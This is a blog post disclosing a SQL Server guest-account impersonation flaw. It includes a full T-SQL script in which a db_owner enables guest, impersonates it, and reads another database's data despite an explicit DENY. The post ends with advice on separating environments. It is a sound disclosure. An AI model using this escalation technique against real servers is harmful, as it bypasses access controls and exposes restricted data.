Andreas Wolter
  • Consulting & Services
    • SQL Server Security Assessment by Andreas Wolter
    • SQL Server Health Check
    • Performance Analysis
    • SQL Server Discovery
    • Air-Gapped SQL Server
  • My Customers
  • About
    • Conferences
    • Certifications
    • Training
  • Blog
  • Contact
  • Click to open the search input field Click to open the search input field Search
  • Menu Menu

Security-issue: guest-guest impersonation

This article was published in September 2009. Details may differ in current SQL Server versions.

Security-issue: guest-guest impersonation

Almost a year ago I discovered an issue with SQL Server (all Versions from 2005 – 2008 R2, haven’t tested 2000) regarding the usage of the guest-account and impersonation.

It also was presented by Ralf Dietrich and me at the SQL Server PASS Summit 2009 in Seattle where we informed Microsoft about it. – Thanks to Jack Richins from Microsoft for helping me find the root cause. (MSDN-blog post)

Unfortunately, a fix hasn’t been provided for SQL Server yet. As I was informed it will only be fixed in the next major version, Codename “Denali”. Here is the Connect-Item: https://connect.microsoft.com/SQLServer/feedback/details/509379/guest-activated-in-2-databases-leads-to-inconsistent-behaviour-and-may-also-compromise-security

Recently I demonstrated this technique again at the SQLCon in Mainz/Germany and now feel that I should blog about this.

This issue applies in a couple of scenarios, a more common of which I want to show here.

One scenario is, that sometimes or even often, developers, whether external or not, are given excessive rights in a certain database – on the same Server, where other databases exists, which may contain “public” data. But “public” maybe only for internal usage and not for external developers.

This is accomplished the following way: the database, let’s call it “InternalPublicData” will have the guest account enabled, and guest has permissions to see whatever is of interest for internal stuff.

In order to prevent access to this database for a certain Login, a database-user will be explicitly created in this database, so the Login does not match to guest and will be denied any resources in this database. One could even deny Connect-permission to the database, to secure it even more.

But this doesn’t help either, as you will see.

Also there is the database where the developer will have full permissions so he can work in his database and do anything inside. He might be dbo or member of the db_owner-role. (Unfortunately quite common because of the restrictions when using db_ddladmin etc.)

And now the trouble begins: The developer, let’s call him “Dev0” cannot successfully connect to the InternalPublicData-database and act as guest there. But what he can do is the following: he can enable guest in his very own database.

Doing that, he can impersonate his local guest and then, not being “Dev0” any more, go to the InternalPublicData-database and successfully connect.

At that stage, he already has all permissions that the remote guest-account already has directly attached to it. But that’s not all. He can then do a second impersonate and gain role-memberships of the guest at the InternalPublicData-database!

No “Deny” for Dev0 can prevent that!

As a second option, he could, with permissions of creating a “User without Login“, impersonate that User and use it to jump to other databases where guest-is active…

The following is a script to demonstrate:

–Login:
CREATE LOGIN Dev0
WITH PASSWORD = ‘Pa$$w0rd’
GO

/* setup DBs*/
create database InternalPublicData;
create database DevelopmentDB;
GO

–Target-DB
use InternalPublicData;
grant connect to guest;

create table t1(c1 int)
insert into t1 values(1)

create table t2(c1 int)
insert into t2 values(2)

GRANT SELECT
ON dbo.t1
TO guest    — and only guest

exec sp_addrolemember ‘db_datareader’, ‘guest’    — just to point out the fact that these guest-accounts are actually different even further

CREATE USER Dev0 FOR LOGIN Dev0    — no memberships, so denied everything and not matching to guest automatically

DENY CONNECT TO Dev0    — to make SURE!

— DB 2
use DevelopmentDB;

CREATE USER Dev0 FOR LOGIN Dev0

EXEC sp_addrolemember N’db_owner’, N’Dev0′
GO

GO

/* Setup finish */

/* Session as Dev0 */

EXECUTE AS LOGIN = ‘Dev0’

— Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database

use InternalPublicData;    — not possible with Deny Connect

SELECT * FROM t1    — with no Deny Connect he gets denied here

execute as user = ‘guest’;        — he can NOT do this at the remote DB (good so far)

— Part One:

— go back
USE DevelopmentDB

execute as user = ‘guest’;        — not active

grant connect to guest;    — but as a “Dev” with excessive permissions he can do what he wants
exec sp_addrolemember ‘db_datawriter’, ‘guest’    — just so that one can differentiate the guest accounts easier

execute as user = ‘guest’;        — now we are in the game

— Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database

select * from sys.user_token;    — now he became guest in DevelopmentDB for real

— End of Part One

— Part Two: using guest for executing as guest

USE InternalPublicData;        — we connected as guest – no Deny for Dev0 applying!!

SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database
select * from sys.user_token;    — he became guest in the remote-DB

SELECT * FROM dbo.t1        — permissions at User(guest)-Level already working!

SELECT * FROM dbo.t2        — not working because permission for role not applying

— BUT: switch to InternalPublicData guest explicitly
execute as user = ‘guest’;        –NOW “Dev0” can do it in the Target-DB

SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database
select * from sys.user_token;    — he became guest with group-membership in Target-DB

SELECT * FROM dbo.t2            — can now also read data through role-membership

— End of Part Two: using guest for executing as guest
/* back off step by step */

USE InternalPublicData
revert;

USE DevelopmentDB
revert;

revert;

USE InternalPublicData
revert;

/* Finished */

USE master;
DROP DATABASE InternalPublicData;
DROP DATABASE DevelopmentDB;
DROP LOGIN Dev0

There is just one option to be sure that your system is safe from developers: don’t mix production with development – not even on server-level!

This should be absolutely clear, but I’ll repeat that, as long as I see mixed environments at customers’ sites. Unfortunately, this is very common.

And secondly: never use the guest account for data that is not really supposed for everyone.

Tags: Permissions - Privilege Escalation

Categories: Security - Conferences & Speaking

Could guest access open a path in your databases? A security assessment checks your SQL Servers for enabled guest users, impersonation paths and other effective permissions.

Get a SQL Server Security Assessment
Eintrag teilen
  • Share on Facebook
  • Share on X
  • Share on LinkedIn
0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Security Assessment Community Edition

Learn about my free Community Edition script.

Recent
  • Sample result in SSMS: local NTLM connections over shared memory from SQL01, and NTLM connections over TCP from a reporting server, an ETL server and a workstation
    NTLM Deprecation and SQL Server: How to Find NTLM Connections...18. November 2026 - 17:01in: Security
  • SQL Server Consolidation: $3M+ in Projected Savings and...30. September 2026 - 15:47in: Architecture & High Availability, Security
  • Using a Database Server as a Honeypot for Threat Detect...18. September 2026 - 16:00in: Security
  • Azure Arc for SQL Server: “Least Privilege” Mode Still...8. September 2026 - 15:56in: Security
  • When SIEM Enrichment Becomes False Attribution3. September 2026 - 14:26in: Security
Comments
  • Thanks Scott. Goof feedback. NETSTAT is a useful addition,...21. November 2026 - 15:44 by Andreas Wolter
  • I would go a little deeper with how to troubleshoot SQL...21. November 2026 - 15:15 by Scott O
  • Protecting database data at rest is essential for maintaining...21. October 2026 - 2:23 by Viska
  • Thanks Now Microsoft could document them as well, and put...19. August 2026 - 16:26 by Andreas Wolter
  • List of Action_IDs for Filter https://sqlquantumleap.com/reference/server-audit-filter-values-for-action_id/ Great...18. August 2026 - 0:59 by Peter Dünsch

Articles

Analysis Services Auditing Availability Groups Azure Best Practices Certification Columnstore Consolidation Deadlocks & Blocking Encryption Extended Events Get-SqlSafe In-Memory OLTP Indexing Least Privilege PASS Summit Patching Performance Analysis Permissions Privilege Escalation Reporting Services Security Principles Spatial Data SQLBits SQL Injection SQLSaturday SQL Server 2012 SQL Server 2014 SQL Server 2016 SQL Server 2022 SQL Server 2025 SQL Trace & Profiler sysadmin & Server Roles Threat Detection Vulnerabilities Workshop & PreCon
© 2026 Andreas WolterContactImprintPrivacy PolicyLinkedInRSS
Link to: Reporting Services 2005 on Windows Server 2008 (+ Vista) or Windows 2008 R2 (+ Windows 7) – IIS configuration Link to: Reporting Services 2005 on Windows Server 2008 (+ Vista) or Windows 2008 R2 (+ Windows 7) – IIS configuration Reporting Services 2005 on Windows Server 2008 (+ Vista) or Windows 2008 R2... Link to: Addresses for geographical Data, ESRI-Shapefiles and other SQL Server geographical related stuff Link to: Addresses for geographical Data, ESRI-Shapefiles and other SQL Server geographical related stuff Addresses for geographical Data, ESRI-Shapefiles and other SQL Server geographical...
Scroll to top Scroll to top Scroll to top
Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
  • Manage options
  • Manage services
  • Manage {vendor_count} vendors
  • Read more about these purposes
View preferences
  • {title}
  • {title}
  • {title}